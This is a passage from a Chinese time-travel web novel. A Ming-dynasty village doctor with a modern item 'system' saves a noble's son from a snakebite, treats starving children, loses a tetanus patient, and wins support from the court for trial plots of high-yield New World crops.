原来是最受瞩目的柳枝被射断,赢得满堂喝彩。
“好箭法!”郑亨高声赞叹。
那射箭的少年得意扬扬地走来,目光却一直黏在徐妙云身上。
“徐小姐,在下这手箭术可还入眼?”
徐妙云淡淡道:“李公子神射,名不虚传。”
李公子更加得意,瞥了眼马淳:“马大夫不试试?听闻神医都有一双妙手,想必射箭也不差。”
周围响起几声嗤笑。马淳面不改色:“李公子说笑了。医者之手用来救人,不是争强斗狠的。”
“怕是不敢吧?”李公子得寸进尺,“要不我让人把柳枝挪近些?十步太远,五步如何?”
徐妙云眼中已有怒意,马淳却轻轻按住她手腕。
“李公子面色发黄,眼白浑浊,怕是肝火过旺。”马淳忽然道,“近日是否常感口干舌燥,夜不能寐?”
李公子一愣:“你、你怎么知道?”
“望闻问切,医者基本功。”马淳从药囊取出一个小瓶,“这是清肝明目的药丸,早晚各一粒。”
李公子接过药瓶,脸色变了又变。
周围人看他的眼神也古怪起来。
郑亨适时打圆场:“马大夫仁心仁术,李某还不道谢?”
李公子涨红了脸,草草拱手,灰溜溜地走了。
徐妙云望着那几个离去的纨绔子弟,轻叹一声:“马大夫这般本事,却被他们如此轻视,竟也不生气。若换作是我,定要恼的。”
马淳将药囊重新系好,淡淡道:“小事而已,何必在意。”
两人沿着河岸缓步而行,看那些锦衣少年比试射柳。
柳枝在风中轻摆,箭矢破空声不绝于耳。
徐妙云忽然指向远处:“那边好像出了什么事。”
人群突然骚动起来,有人高声尖叫。
马淳眉头一皱,快步朝声源处走去。
徐妙云紧随其后,裙角沾了泥也顾不得。
地上躺着一条被打死的五步蛇,花纹鲜艳可怖。
旁边瘫坐着方才嘲笑马淳的李公子,脸色惨白,裤腿卷起露出小腿上两个细小的牙印,周围已经泛出青紫色。
“五步蛇!被咬到立刻就会死啊!”一个老者颤声道。
李公子浑身发抖,嘴唇开始发紫。
他的同伴们手足无措地围在一旁,有人已经哭了出来。
马淳二话不说蹲下身,从药囊中取出一个小木盒。
徐妙云帮他按住李公子不断抽搐的腿,只见马淳动作利落地取出一支奇怪的透明管子,前端连着细长的针。
“这是什么?”徐妙云忍不住问。
“抗毒血清。”马淳一边解释一边将针头刺入李公子腿上的伤口附近,“能中和蛇毒。”
药液缓缓推入,李公子的呼吸渐渐平稳。
马淳又取出几味药材,捣碎后敷在伤口上,用布条紧紧包扎。
周围鸦雀无声,所有人都屏息看着这一幕。
不过半盏茶功夫,李公子脸上的青紫就褪去了大半。
他虚弱地睁开眼,看到是马淳救了自己,眼中满是难以置信。
“为什么……”李公子声音嘶哑,“我刚才那样对你……”
马淳收拾着药具,头也不抬:“我是医者,治病救人是本分。”
李公子突然挣扎着要起身,被马淳按住肩膀:“别动,毒还没完全清除。”
“马大夫,我……”李公子眼眶发红,“我李景隆今日欠你一条命。”
徐妙云闻言一惊。原来这竟是曹国公李文忠之子,难怪方才那般傲气。
马淳却似没听见,专心检查伤口:“再过一个时辰才能移动。徐小姐,劳烦去我药囊里找那瓶白色瓷瓶。”
徐妙云连忙翻找,递过瓷瓶。马淳倒出两粒药丸,喂李景隆服下。
“这是解毒丸,能助血清发挥效力。”马淳解释道,“六个时辰内不能饮水,明日我再来换药。”
李景隆的随从们这才回过神来,七手八脚地要抬他回府。
马淳厉声喝止:“不想他死就别乱动!”
众人立刻僵在原地。
马淳转头对徐妙云说:“得找块门板,让他平躺着回去。”
很快有人抬来门板,马淳亲自指导如何平稳移动。
李景隆被小心安置好后,他的随从们齐齐向马淳跪下磕头。
“多谢神医救命之恩!”
马淳摆手:“回去后让他静卧,伤口别碰水。明日我会去府上复诊。”
待李家人走远,围观众人才敢出声议论。
有人认出了马淳:“这不是小青村的马大夫吗?”
“听说连魏国公的背疽都是他治好的!”
徐妙云看着马淳平静的侧脸,轻声道:“你早知他是曹国公之子?”
马淳摇头:“在我眼里,他只是个病人。”
河风拂过,带来阵阵荷香。
徐妙云忽然觉得,身边这个淡泊如水的男子,比那些锦衣玉带的勋贵子弟耀眼得多。
“马大夫,我们去喝杯茶吧。”她指了指河畔的茶楼,“你该歇歇了。”
茶楼雅间里,徐妙云亲手为马淳斟茶。
窗外秦淮河水波光粼粼,画舫上的乐声隐约可闻。
“那个血清……”徐妙云犹豫着开口,“我从没见过这样的药。”
马淳望着茶汤中舒展的叶片:“西域传来的方子,制作不易。”
“你随身带着,是料到会有人被蛇咬?”
“端午前后毒蛇活跃,有备无患。”马淳抿了口茶,“只是没想到这么快就用上了。”
徐妙云托腮看着他:“李景隆那样对你,你却以德报怨。换作旁人,怕是要趁机羞辱他一番。”
马淳放下茶盏:“医者眼中只有病情轻重,没有恩怨是非。”
“所以你才会在小青村行医?”徐妙云眼中闪着光,“因为那里缺医少药?”
马淳没有回答,但眼神已经说明一切……
第36章 咬棍子!别咬舌头!
夕阳西斜时,两人离开茶楼。
街上人流渐稀,小贩们开始收摊。
徐妙云忽然拉住马淳的袖子:“明日我陪你去曹国公府复诊。”
“不必麻烦。”
“我要去。”徐妙云语气坚决,“李景隆与我有些交情,有我在,他们不敢怠慢你。”
马淳看着她认真的样子,终于点头:“好。”
回到医馆已是掌灯时分。马淳刚点亮油灯,就听见系统提示音响起。
【叮!救治毒蛇咬伤病患,获得积分300!】
他摇摇头,开始整理今日用过的药具。
血清还剩九支,得省着用。雄黄粉得多配些,端午前后蛇虫多。
门外传来脚步声,徐妙云去而复返,手里提着食盒。
“忘了给你这个。”她将食盒放在案上,“王记的桂花糕,今日新做的。”
马淳正要道谢,徐妙云已经转身跑开,裙角在月光下划出一道弧线。
食盒里的糕点还温热,散发着甜香。
马淳拿起一块,想起白日里李景隆那声“欠你一条命”,不禁摇头。
对他而言,那不过是一次再普通不过的出诊。
……
清晨。小青村。
马淳蹲在医馆门口的青石板上,拿出兑换的复古竹节牙刷,挤了一点薄荷牙膏,刷起牙来。
虽说古代也有用牙粉清洁牙齿的习惯,但马淳还是习惯用牙刷。
薄荷的清凉在口腔里扩散,让他混沌的脑子清醒了几分。
几个面黄肌瘦的孩子从门前跑过,细瘦的胳膊腿像枯树枝,肚子却鼓胀得吓人。
他们赤着脚,脚趾缝里全是泥,头发干枯如稻草。
其中一个孩子蹲在路边,抓起一把土就往嘴里塞。
马淳猛地站起身,漱口水都来不及吐,三两步冲过去拦住那孩子。
“不能吃这个!”他掰开孩子的手,泥土从指缝间簌簌落下。
孩子怯生生地看着他,嘴角还沾着泥屑。
马淳认得这是村东张家的二小子,去年冬天差点冻死在柴房里。
“饿……”孩子的声音细如蚊呐。
马淳心头一紧。 他摸出怀里剩下的半块饼子塞给孩子,转头看向其他几个孩子。
无一例外都是头发稀疏,面色萎黄,有几个连眼白都泛着不正常的青色。
这是典型的小儿疳积症状。
古人称之为“疳”,现代医学则归类为营养不良伴随寄生虫感染。
马淳蹲下身,挨个检查孩子们的指甲和眼睑。
指甲上布满横纹,眼睑内血色淡得几乎看不见。
“去把你们爹娘叫来。”他拍拍孩子们的肩膀,“就说马大夫要给大家看病,不要钱。”
孩子们一哄而散。
马淳回到医馆门口,重新蹲下刷牙,脑子里却在盘算:就算天天兑换营养品给孩子们吃也不是长久之计。授人以鱼不如授人以渔,得想个办法……
正想得出神,突然两只大手狠狠掐住他的腮帮子。一根苦涩且满是泥沙的木棍不由分说塞进他嘴里。
“别咬舌头!咬棍子!”蒋瓛的声音在耳边炸响,“张嘴!快张嘴!”
马淳疼得眼泪都要出来了,拼命挣扎着吐出木棍:“蒋护卫你干什么?”
蒋瓛松开手,一脸无辜:“你好了啊?我看你满嘴沫子发呆,以为犯病了。我老家都这么治,咬断舌头可不好。”
马淳哭笑不得:“我在刷牙!”
“刷牙?”蒋瓛狐疑地盯着地上的牙刷,“用这个?还冒泡?”
“西域传来的法子。”马淳舀水漱口,“比柳枝蘸盐干净。”
蒋瓛将信将疑地捡起牙刷端详:“这玩意能刷牙?”
“回头送你一支。”马淳擦擦嘴,突然反应过来,“等等,你怎么来了?”
蒋瓛脸色一正:“噢,我家老爷听说昨天你在街上跟人起冲突的事,来问问你有事没?”
马淳心里咯噔一下,昨日诗会作诗前和那个纨绔子对峙以及救李景隆时,确实闹出了不小动静。
“你家老爷怎么知道的?”
“你在诗会拔得头筹……”蒋瓛翻了个白眼,“又在众目睽睽之下用那什么……血清?救活了曹国公之子,这事能瞒得过谁?”
马淳暗自叫苦。他本不想这么高调,但人命关天,当时也顾不得许多。
“你家老爷怎么说?”
“我家老爷原话是——”蒋瓛清了清嗓子,模仿朱元璋的语气,“‘去问问那小子,当街跟人起冲突,还差点被几个纨绔子弟打了,到底怎么回事?’”
马淳松了口气。看来不是来问罪的。
“就是些口角之争,已经解决了。”
蒋瓛眯起眼睛:“你救了李景隆的命,就这么轻描淡写?”
马淳耸耸肩:“我是大夫,治病救人是本分。”
蒋瓛盯着他看了半晌,突然大笑:“好个马淳!难怪我家老爷说你是个妙人。”他凑近压低声音,“我家老爷还让我带句话——‘下次再有人找你麻烦,直接报咱的名号。’” “替我谢过你家老爷。”他干巴巴地说,“不过还是别麻烦他了。”
马淳根本都不知道他家老爷啥名号,但他也不去打听,就这么糊弄过去。
蒋瓛拍拍他的肩:“你小子有意思。对了,那牙刷真送我一支?”
“送你两支。”马淳趁机转移话题,“再送你管牙膏。”
蒋瓛拿着东西乐呵呵地走了。
马淳回到医馆,看着系统界面发呆。
积分还够兑换几支血清,但高产作物种子更贵……
“马大夫!”徐妙云的声音从门外传来,“我带了早饭,你吃……天哪!你脸上怎么了?”
马淳这才想起腮帮子还被蒋瓛掐得生疼。
他苦笑着把早上的闹剧说了一遍。
徐妙云笑得前仰后合:“蒋护卫也太……”她突然正色,“不过他说得对,你该小心些。昨日若不是锦衣卫及时赶到……”
马淳摆摆手:“都过去了。”
他拿起一个包子咬了一口,疼得龇牙咧嘴。
徐妙云忍俊不禁:“活该!谁让你总是一副老好人的样子。”
她顿了顿,“对了,李景隆今早派人来,说曹国公要设宴谢你。”
马淳刚要拒绝,徐妙云就打断他:“别急着说不。曹国公在军中人脉广,或许能帮你解决那个……”她压低声音,“作物的事。”
马淳眼睛一亮。
这倒是个意外收获。
他刚才也在烦恼,现在不管是医疗器械还是药品都不太显眼,还可以说是自己搞的西域法子瞒过去。
但涉及高产物种,这要是没有有权势的人罩着,你搞出来了,不得被人弄死?
而曹国公李文忠那可是皇帝最信任的侄子,有他庇护应该能安全一些。
“那就……”
“我陪你去。”徐妙云不容置疑地说,“正好会会那些纨绔子弟。”
看着她跃跃欲试的样子,马淳突然觉得腮帮子不那么疼了……
第37章 若能推广高产物种
离开医馆时,马淳看到一群村民带着孩子站在门外,是刚才他叫过来的。
那些孩子瘦骨嶙峋,眼睛里却闪着期待的光。
他转身回到药柜前,从系统兑换了驱虫药和营养粉。
“先让孩子把这个吃了。”马淳将药丸分发给每个孩子,又取出几包营养粉交给他们的父母,“用温水冲开,早晚各一次。”
村民们千恩万谢,有个妇人甚至要跪下磕头。
马淳连忙扶住她:“使不得,这都是应该的。”
徐妙云站在一旁,看着马淳耐心地教每个家长如何用药。
他的声音很轻,却字字清晰。
阳光透过窗棂照在他的侧脸上,勾勒出一道柔和的轮廓。
“走吧。”送走村民后,马淳拍了拍沾了药粉的衣袖。
徐妙云忽然问道:“那些药很贵吧?”
马淳脚步一顿:“还好。”
“你总是这样。”徐妙云轻声道,“明明花了很大代价,却从不说。”
马淳笑了笑:“能帮到人就好。”
马车缓缓驶向曹国公府。
穿过田间小道,沿途的麦苗稀稀落落。
徐妙云指着远处一片荒地。“那原本应该是上等水田,如今连草都不长。”
马淳眯眼望去。
皲裂的田地上零星长着几丛杂草,确实不像能种庄稼的样子。
“为何荒着?”徐妙云问。
“前年闹蝗灾,颗粒无收。去年水涝,种子下地就泡死了。今年……”马淳摇头,“村里壮丁逃荒的逃荒,剩下的老弱病残,哪有力气耕种。若有种耐旱的庄稼……”
“哪有这种好东西。”徐妙云苦笑,“除非神仙显灵。”
说着看向了马淳。
马淳别过头去。
他发现这个丫头真是聪明得让人不敢跟她多说话,因为一旦多说了,她就会猜到怎么回事。
徐妙云望着窗外飞逝的景色,“其实我父亲在凤阳有几处庄子,土质很好。如果你需要试种新作物,可以用那里。”
马淳转头看她,徐妙云的眼睛亮得惊人。
“你知道我想做什么?”
“你想让那些孩子吃饱。”徐妙云说得斩钉截铁,“不只是他们,你想让天下人都吃饱。”
马淳沉默片刻,低声道:“哪有那么容易。” “但你在尝试。”徐妙云靠近了些,“我可以帮你。我父亲虽然古板,但在农事上很开明。再说……”她狡黠地眨眨眼,“他欠你一条命。”
看着徐妙云狡黠的笑容,不知为何,马淳心里多了一丝安全感。
马车停在曹国公府门前。
朱红色的大门洞开,管家早已候在阶下。
“马神医,我家老爷恭候多时了。”
李景隆站在正厅门口,脸色还有些苍白,但精神已经好了许多。
见到马淳,他疾步上前,郑重行礼。
“马兄救命之恩,景隆没齿难忘。”
马淳扶起他:“李公子言重了,举手之劳而已。”
曹国公李文忠从内室走出。
这位名将虽已年过四旬,但腰背挺直如松,目光锐利如鹰。
“马大夫,久仰了。”
马淳刚要行礼,就被李文忠一把托住:“不必多礼。你救了我儿,就是李家的恩人。”
宴席设在花园水榭。席间李文忠详细询问了血清的来历,马淳只说是在西域游历时所得。
“可惜数量有限。”马淳轻叹,“若是能大量制备,每年能救不少人。”
李文忠若有所思:“太医院倒是有几位精通毒物的太医,或许可以一起参详。”
徐妙云适时插话:“国公爷,马大夫不仅医术高明,在农事上也颇有心得。他一直在寻找高产作物,想解决百姓饥荒。”
李文忠眼前一亮:“此话当真?马大夫还懂农事?”
马淳谦虚道:“略知一二。”
“好!”李文忠拍案而起,“老夫在京郊秦淮河边上有千亩良田,马大夫若有需要,尽管拿去试种。”
宴席结束后,李景隆亲自送他们出门。
临别时,他压低声音:“马兄,昨日之事是我莽撞。日后若有差遣,景隆万死不辞。”
回程的马车上,徐妙云一直抿着嘴笑。
“笑什么?”马淳问。
“我笑你运气好。”徐妙云眼睛弯成月牙,“本来只想治个蛇毒,没想到连试种的田地都有了。”
马淳望向窗外,夕阳将云层染成金红色。他忽然觉得,或许改变这个时代,并没有想象中那么难。
“谢谢你。”他轻声道。
徐妙云假装没听见,但耳尖悄悄红了。
把马淳送到了村口,徐妙云便打道回府。
刚进村,就看到蒋瓛蹲在村口,百无聊赖。 “蒋护卫你怎么又来了?”马淳问道。
蒋瓛也是一脸无奈,“我家老爷说你得罪的那小子有点势力,怕你有事,让我护着你几天。你小子跑出去也不跟我说,害俺在村里闲逛了一天。”
“抱歉抱歉!我也知道会耽误这么久。”于是就将今天去曹国公府的事简单说了一下。
蒋瓛送马淳回医馆,路上忍不住问:“国公爷找你何事?”
“讨论药方。”马淳轻描淡写地带过。
他望着车窗外渐暗的天色,心里盘算着下一步。
若李文忠答应帮忙,得尽快把系统里的红薯土豆种子合理化。
马车路过村口时,几个黑影蜷缩在草垛旁。
马淳叫停车,提着药箱走过去。
“张婶?”他认出其中一个妇人,“怎么不去屋里?”
妇人怀里抱着个婴儿,声音发抖,“屋里漏雨,娃发热……”
马淳摸了摸婴儿滚烫的额头,从药箱取出退热药,“先喂这个,我去看看房子。”
草垛旁还蹲着三个孩子,正是白天吃土的那几个。
马淳把兜里的糖丸分给他们,转头对蒋瓛说:“劳烦蒋护卫跑一趟,把我屋里的油毡布拿来。”
蒋瓛欲言又止,最终还是策马去了。
马淳跟着妇人来到一间摇摇欲坠的茅屋。
屋顶的茅草塌了大半,地上积着水。
他卷起袖子,借着月光开始修补。
蒋瓛回来时,看见马淳正站在桌上补屋顶,月光给他镀了层银边。
“马大夫。”他递上油毡布,“你白天治病,晚上修房,图什么?”
马淳接过油毡布,仔细铺在椽子上,“看见了,总不能不管。”
蒋瓛沉默片刻,跃上桌子,“我来钉钉子。”
两人忙到半夜才把屋顶补好。
马淳给婴儿换了药,临走时悄悄在米缸里塞了袋粮食。
回医馆的路上,蒋瓛开口:“若真有耐旱的庄稼,算我一份。”
马淳挑眉。“蒋护卫信我?”
“我信肯半夜给穷人修屋顶的大夫。”蒋瓛拍拍他的肩,“需要人手随时招呼。”
……
第38章 红薯、玉米、土豆
夜色渐深,曹国公府的书房里,李景隆站在父亲身旁,眉头微皱。
“父亲,儿子有一事不解。”李景隆斟酌着开口,“马大夫与魏国公府关系密切,徐小姐更是对他倾心相待。若论推广农作物,魏国公显然更为合适,为何他却选择咱们?”
李文忠放下手中茶盏,目光深沉。“你只看到表面。”
“请父亲指点。”
“马淳此人不简单。”李文忠手指轻叩桌面,“他选咱们,正是看中咱们与陛下的关系。”
李景隆一怔。
“魏国公刚交还兵权,又退了燕王亲事,此刻正该韬光养晦。若他再插手农事,陛下会怎么想?”
李景隆恍然大悟。“陛下会以为徐叔叔恋栈权力!”
“正是。”李文忠点头,“马淳若借魏国公之力推广高产作物,反倒害了徐家。所以他宁可舍近求远,来找咱们。”
李景隆眼中闪过钦佩。“原来如此。”
“还有徐家那丫头。”李文忠捋须微笑,“她今日在席间看似随意提起农事,实则早有盘算。这二人配合默契,一个主内,一个主外,当真是天作之合。”
李景隆想起徐妙云看马淳的眼神,不禁感叹:“徐小姐对马大夫用情至深。”
“你日后多与他们往来。”李文忠正色道,“马淳医术高明,心怀天下;徐家丫头聪慧过人,进退有度。这二人前途不可限量。”
“儿子谨记。”
与此同时,小青村的医馆内,马淳正伏案疾书。油灯将他的影子投在墙上,拉得老长。
蒋瓛抱臂站在一旁,看着纸上密密麻麻的字迹。“真要种这些?”
“嗯。”马淳头也不抬,“红薯耐旱,土豆不挑地,玉米产量高。若能推广开来,百姓就不会挨饿了。”
“可这些种子从何而来?”
马淳笔尖一顿。“西域商人处购得。”
蒋瓛眯起眼睛。“你哪来这么多钱?”
“治病所得。”马淳面不改色,“前些日子治好了几位富商,他们以稀罕种子相赠。”
蒋瓛将信将疑,却没再多问。
……
魏国公府。
徐妙云刚踏进门,便见父亲徐达正伏案编写自己的军事心得,眉头微蹙,神情专注。
她轻手轻脚地走近,将一盏热茶放在案边。
“父亲,这么晚了还在忙?”
徐达抬头,见是女儿,神色稍缓。“回来了?马淳那边如何?”
徐妙云抿嘴一笑,将今日曹国公府的事细细道来。
徐达听完,沉吟片刻,忽然笑了。“这小子倒是聪明。” “父亲是说……”
“他若直接来找我帮忙,我自然不能拒绝。”徐达放下笔,端起茶盏轻啜一口,“可这样一来,陛下会怎么想?”
徐妙云一怔,随即恍然。“父亲刚交还兵权,若再插手农事,难免引人猜忌。”
徐达点头。“马淳正是看透了这一点,才去寻李文忠。曹国公与陛下关系亲近,由他出面,再合适不过。”
徐妙云眼中闪过一丝钦佩。“他竟考虑得如此周全。”
“不仅如此。”徐达目光深邃,“他借李景隆被蛇咬一事,顺势与曹国公搭上关系,既显得自然,又不会引人注目。这份心计,绝非寻常大夫能有。”
徐妙云低头,指尖轻轻摩挲着衣袖。“他……一向如此。”
徐达看了女儿一眼,意味深长道:“这小家伙不简单,日后必成大器。”
正说着,门外传来脚步声。徐辉祖带着弟弟徐增寿和妹妹徐妙锦走了进来。
“父亲,大姐。”徐辉祖拱手行礼,“听说马大夫今日在曹国公府大出风头?”
徐妙锦年纪最小,性子活泼,闻言立刻凑上前。“大姐,快说说,马大夫是不是又救了什么人?”
徐妙云笑着摇头,将事情经过又讲了一遍。
徐增寿听完,一拍大腿。“妙啊!马大夫这一手借势,简直天衣无缝。”
徐辉祖也点头赞同。“他若直接找父亲帮忙,反倒让父亲为难。如今借曹国公之力,既办了事,又全了父亲的处境,确实高明。”
徐妙锦眨眨眼,好奇道:“大姐,马大夫是不是早就计划好了?”
徐妙云摇头。“他做事向来随性,但每一步都恰到好处。”
徐达捋须微笑。“这便是他的厉害之处。看似无心,实则步步为营。”
徐辉祖忽然正色道:“父亲,马大夫既有如此韬略,又心怀天下,我们是否该多与他往来?”
徐达沉吟片刻,缓缓点头。“可以,但需注意分寸。眼下朝局微妙,我们不宜与外人走得太近。”
徐妙云轻声道:“父亲放心,马淳懂得避嫌。”
徐达看了女儿一眼,意味深长道:“你倒是了解他。”
徐妙云耳根微红,低头不语。
徐妙锦眼珠一转,笑嘻嘻地插话。“大姐,马大夫送你端砚,你是不是天天抱着睡觉?”
“胡说什么!”徐妙云作势要打,徐妙锦连忙躲到徐增寿身后。
徐增寿笑着挡在中间。“好了好了,大姐脸皮薄,别逗她了。”
徐辉祖也笑道:“马大夫人品才学俱佳,若真能与咱们家结缘,倒是一桩美事。”
徐达轻咳一声,打断了几人的玩笑。“此事日后再说。妙云,你明日再去小青村,替我带句话给马淳。”
“父亲请讲。”
“告诉他,若有需要,魏国公府虽不便明着相助,但暗中支持无妨。”
徐妙云眼中一亮,郑重应下。“女儿明白。” 夜色渐深,众人各自回房。
徐妙云独自站在廊下,望着院中的月色出神。
徐辉祖走过来,递给她一件披风,“大姐,夜里凉,别站太久。”
“谢谢二弟。”
徐辉祖犹豫片刻,低声道:“大姐,你对马大夫……”
徐妙云拢了拢披风,轻声道:“他很好。”
简简单单三个字,却让徐辉祖听出了许多未尽之意。
他叹了口气,拍拍姐姐的肩。“父亲虽然谨慎,但并非不通情理。若你真心喜欢,他不会反对。”
徐妙云微微一笑,没有接话。
月光洒在兄妹二人身上,静谧而温柔……
第39章 破伤风!
清晨的阳光透过窗棂洒进医馆,马淳正在整理刚用三千积分兑换的玉米、土豆、红薯种子。
这些种子可不便宜啊,必须要好好呵护才行。
便在这时,门外传来一阵急促的脚步声,夹杂着哭喊。
“马大夫!救命啊!”
四个壮汉抬着门板冲进医馆,上面躺着个面色青紫的中年男子。
男子牙关紧咬,全身绷得像张拉满的弓,时不时剧烈抽搐。
马淳快步上前,按住病人手腕。脉象弦紧,皮肤滚烫。
他翻开病人眼皮,瞳孔已经有些涣散。
“什么时候开始的?”
一个妇人扑到跟前,哭道:“我家男人半个月前下地干活被镰刀割了腿,当时就随便包了包。前天突然说头疼,昨天开始抽筋,今早就成这样了!”
马淳轻轻掀开病人裤腿。
伤口已经结痂,但周围皮肤发黑,渗出黄水。
“是破伤风。”他沉声道。
这时徐妙云提着食盒走进来,看到这场景顿时愣住。
“马大夫,这是……”
“来得正好。”马淳头也不抬,“这是典型的痉病,古称刚痉。你看他项背强直,角弓反张,正是邪入经脉之症。”
他边说边从药柜取出葛根、麻黄、桂枝等药材。
徐妙云放下食盒,凑近观察:“我记得医书上说,刚痉当用葛根汤?”
“不错。”马淳手上不停,“但这是急症,光靠汤药怕来不及。”
他从系统兑换出破伤风抗毒素,用温水化开。
银针在病人人中、合谷等穴位快速刺入,同时将药液缓缓推入静脉。
病人抽搐渐渐减轻,但呼吸仍然微弱。
“破伤风是伤口染了秽毒所致。”马淳对徐妙云解释,“西域医家称之为‘锁口风’,因患者牙关紧闭如锁。这抗毒素能中和毒素,再配合汤药发散表邪。”
徐妙云认真记着,突然指着病人:“他又抽了!”
病人全身肌肉绷紧,嘴角溢出白沫。
马淳眼疾手快,把准备好的软木塞进他牙间。
“咬住!别伤到舌头!”
转身对妇人道:“准备后事吧,这情况……”
妇人瘫坐在地,嚎啕大哭。
马淳却话锋一转:“不过我可以试试。先声明,只有三成把握。”
妇人一家人见病人已经如此,也只能是死马当活马医,当即答应。
他取出镇静剂注入病人手臂。
抽搐渐渐停止,但呼吸更弱了。
“现在要解肌祛邪,滋养津液。”马淳对徐妙云说,“瓜蒌桂枝汤主之。你记一下:瓜蒌根二钱,桂枝三钱,芍药三钱……”
徐妙云连忙取出随身的小本记下。
马淳一边配药一边解释:“破伤风杆菌喜欢无氧环境,所以深伤口最容易感染。患者初期会头痛乏力,继而肌肉痉挛,最后呼吸衰竭而死。”
药煎好了,马淳扶起病人,一点点灌下去。
小半个时辰后,病人呼吸平稳了些。
“暂时稳住了。”马淳抹了把汗,“接下来每两个时辰服一次药,能不能挺过去就看造化了。”
妇人连连磕头:“多谢神医!多谢神医!”
马淳摆摆手:“别急着谢。这病凶险,随时可能反复。你们轮流守着,一有变化立刻叫我。”
徐妙云送走那家人,回来时见马淳正在洗手。
“你刚才用的那些西域药……”
“很贵。”马淳打断她,“但人命更贵。”
徐妙云抿了抿嘴:“我能学这个吗?”
“你想学西医?”马淳有些意外。
“既然有用,为何不学?”徐妙云眼睛亮亮的,“你常说医者当兼收并蓄。”
马淳笑了:“好,我教你。不过先吃饭,包子要凉了。”
两人坐在院里的石桌旁吃早饭。
徐妙云问:“若是没有那些西域药,单靠汤剂能治吗?”
“能,但效果差很多。”马淳掰开包子,“葛根汤解表,瓜蒌桂枝汤生津,再加上针灸导引,约莫能救回三成患者。”
“那现在呢?”
“六七成吧。”马淳顿了顿,“其实预防更重要。伤口及时清创,敷上解毒膏药,基本不会发病。”
徐妙云若有所思:“应该让更多人知道这个。”
“正有此意。”马淳从袖中取出几张纸,“我整理了防治要诀,你帮忙抄录些,贴在各村口。”
徐妙云接过一看,上面图文并茂写着如何处理伤口,用什么草药外敷,症状初起如何应对。
“我多抄几份。”她认真地说,“再让父亲派人去各村宣讲。”
马淳点头:“若能推广开来,每年能少死不少人。”
正说着,屋里突然传来一声尖叫。
马淳扔下包子冲进去,见那病人又抽搐起来,比先前更剧烈。
“按住他手脚!别让伤到自己!”
马淳一边指挥家属,一边取出镇静剂。
药液推入后,病人渐渐平静,但面色已经发灰。
“情况不妙。”马淳低声对徐妙云说,“毒素攻心,恐怕……”
话音未落,病人瞪大眼睛,喉咙里发出可怕的咯咯声,然后头一歪,没了气息。
妇人和几个孩子扑上去嚎啕大哭。
马淳默默收起药箱,走到院外。
徐妙云跟出来,轻声道:“不是你的错。”
“我知道。”马淳望着远处的山,“但总想着要是能再早一天……”
徐妙云抓住他的手:“你已经尽力了。没有你,他昨天就死了。”
马淳勉强笑笑:“没事,习惯了。当大夫的,总要经历这些。”
他转身回屋,帮家属料理后事。
徐妙云看着他的背影,心中莫名酸楚,这个总是从容不迫的郎中,此刻显得格外孤独。
午后,马淳坐在药房里捣药。徐妙云端着茶进来。
“喝点水吧。”
马淳接过茶碗,“你说,若是天下郎中都会用抗毒素,能多救多少人?”
徐妙云坐下来:“可你不是说那药很难得?”
“是啊。”马淳叹气,“要是能自己制备就好了。”
“能教太医院的太医们吗?”
马淳摇头:“制备方法太复杂,眼下条件不够。”
他放下茶碗,取出一个小瓶:“这是解毒膏,对预防破伤风很有效。配方简单,你帮我推广这个吧。”
徐妙云接过小瓶,“马淳,你教我医术吧。”
“嗯?”
“我想帮你。”徐妙云认真地说,“你一个人太累了。我学会些基础,至少能帮着处理简单伤病。”
马淳看着她坚定的眼神,终于点头:“好,从明天开始。”
夕阳西下时,两人在村口贴防治告示。几个孩童围过来看热闹。
徐妙云蹲下身,指着图说:“记住啦,受伤了要这样处理……”
马淳站在一旁,看着夕阳给她的轮廓镀上金边……
第40章 亩产千斤以上
五更鼓刚过,李文忠便候在奉天门外。
当值太监小跑着过来行礼:“国公爷,陛下宣您进殿。”
暖阁里炭火烧得正旺,朱元璋正在批阅奏章,太子朱标侍立一旁。
见李文忠进来,朱元璋搁下朱笔:“保儿来了,坐。”
李文忠行礼后坐下,直奔主题:“陛下,臣有要事禀报。前日小青村马淳向臣提议推广三种西域高产作物,言其耐旱抗涝,亩产可达十石以上。”
朱元璋眉头一挑:“十石?当真?”
“未曾见过,不过想来马大夫那么沉稳的一个人不会撒谎。”李文忠道。
朱元璋父子也都是这样想。
朱标眼中难掩欣喜:“父皇,若真能推广,北方旱地就有救了。”
朱元璋沉吟片刻:“马淳为何找你?徐天德不是更熟?”
李文忠早有准备:“臣想,马淳是觉得魏国公刚交还兵权,不宜过问农政。他怕连累徐家,才辗转找到臣。”
殿内安静下来。
朱元璋盯着烛火看了许久,叹道:“天德这是真要把自己摘干净啊……”
朱标轻声道:“徐叔父连这般利国利民的事都避嫌,可见心志。”
“罢了。”朱元璋摆摆手,“保儿,这事你牵头办。需要什么尽管提,朕全力支持。”
“臣遵旨。”李文忠顿了顿,“马淳请求先在京郊试种,若成效好,再逐步推广。”
朱元璋点头:“准了。你告诉那小子,好好干,朕不吝赏赐。”
这时朱标插话:“马淳医术据说很神?前日九江被毒蛇咬伤,就是他救回来的。”
李文忠连忙道:“正是。那西域血清确有奇效,犬子如今已无大碍。”
朱元璋忽然盯着李文忠:“保儿,你脸色不太好。让马淳给你看看,别仗着身子硬就硬撑。”
李文忠苦笑:“老毛病了,每逢阴雨就关节疼……”
“那就更该看!”朱元璋一锤定音。
李文忠频频点头。
……
次日清晨,马淳刚打开医馆大门,就见徐妙云的马车停在院外。
她今日穿了件藕荷色衫子,发间只簪一支银钗,清爽利落。
“这么早?”马淳有些意外。
徐妙云从马车上跳下来,“父亲说,他虽不便出面,但暗中支持还是可以的”
马淳心头一暖。“多谢徐伯父。”
“谢什么。”徐妙云抿嘴一笑,“这是利国利民的好事。”
两人正说着,村口传来马蹄声。
李景隆带着几个家丁策马而来,马背上还驮着几个鼓鼓囊囊的布袋。
“马兄!”李景隆翻身下马,拱手行礼,“父亲让我送些东西来。”
马淳解开布袋,里面全是上好的农具。
“国公爷太客气了。”
李景隆笑道:“父亲说了,京郊的田地已经备好,随时可以开垦。他还从军中调了二十个老农,都是种地的好手。”
徐妙云与马淳对视一眼,心照不宣。
接下来的日子,马淳忙得脚不沾地。
白天在医馆看诊,晚上研究种植技术,还要抽空去查看试验田。
这日傍晚,马淳正在后院整理药材,徐妙云悄然而至。
“给你。”她递过一个食盒,“一天没吃东西了吧?”
马淳这才发觉饥肠辘辘。“多谢。”
徐妙云坐在一旁,看他狼吞虎咽。“慢点吃。”
马淳不好意思地放慢速度。“最近太忙了。”
“我知道。”徐妙云轻声道,“但你也得顾着自己。”
月光洒在两人身上,投下淡淡的影子。
“妙云。”马淳突然开口。
“嗯?”
“谢谢你一直帮我。”
徐妙云耳根微红。“我乐意。”
